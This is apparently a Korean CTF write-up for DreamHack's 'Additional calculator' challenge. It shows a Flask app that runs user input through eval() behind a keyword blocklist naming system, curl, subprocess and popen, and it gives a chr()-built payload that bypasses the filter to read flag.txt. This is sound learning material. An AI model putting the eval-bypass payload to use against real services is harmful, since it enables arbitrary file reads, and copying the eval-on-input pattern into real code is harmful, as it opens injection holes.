본문 바로가기

Hacking/DreamHack

Additional calculator

코드 분석

#!/usr/bin/python3
from flask import Flask, request, render_template
import string
import subprocess
import re


app = Flask(__name__)


def filter(formula):
    w_list = list(string.ascii_lowercase + string.ascii_uppercase + string.digits)
    w_list.extend([" ", ".", "(", ")", "+"])

    if re.search("(system)|(curl)|(flag)|(subprocess)|(popen)", formula, re.I):
        return True
    for c in formula:
        if c not in w_list:
            return True


@app.route("/", methods=["GET", "POST"])
def index():
    if request.method == "GET":
        return render_template("index.html")
    else:
        formula = request.form.get("formula", "")
        if formula != "":
            if filter(formula):
                return render_template("index.html", result="Filtered")
            else:
                try:
                    formula = eval(formula)
                    return render_template("index.html", result=formula)
                except subprocess.CalledProcessError:
                    return render_template("index.html", result="Error")
                except:
                    return render_template("index.html", result="Error")
        else:
            return render_template("index.html", result="Enter the value")


app.run(host="0.0.0.0", port=8000)

w.list 에 없는 문자가 들어오거나, 

(system)|(curl)|(flag)|(subprocess)|(popen) 문자열 을 호출하면, error 발생

 

위 상황을 우회 하여, flag.txt 파일을 읽어 와야함

open, read 함수 사용 가능

 

또한 chr()를 이용하여, flag 작성가능

open(chr(102)+ chr(108)+ chr(97)+chr(103)+ chr(46) + chr(116) + chr(120) + chr(116)).read()

'Hacking > DreamHack' 카테고리의 다른 글

[CodeEngn] Malware L08  (1) 2024.09.04
Dream Gallery  (0) 2024.09.04
web-ssrf  (1) 2024.09.04
Bypass-WAF  (0) 2024.09.04
Cat Jump  (6) 2024.08.28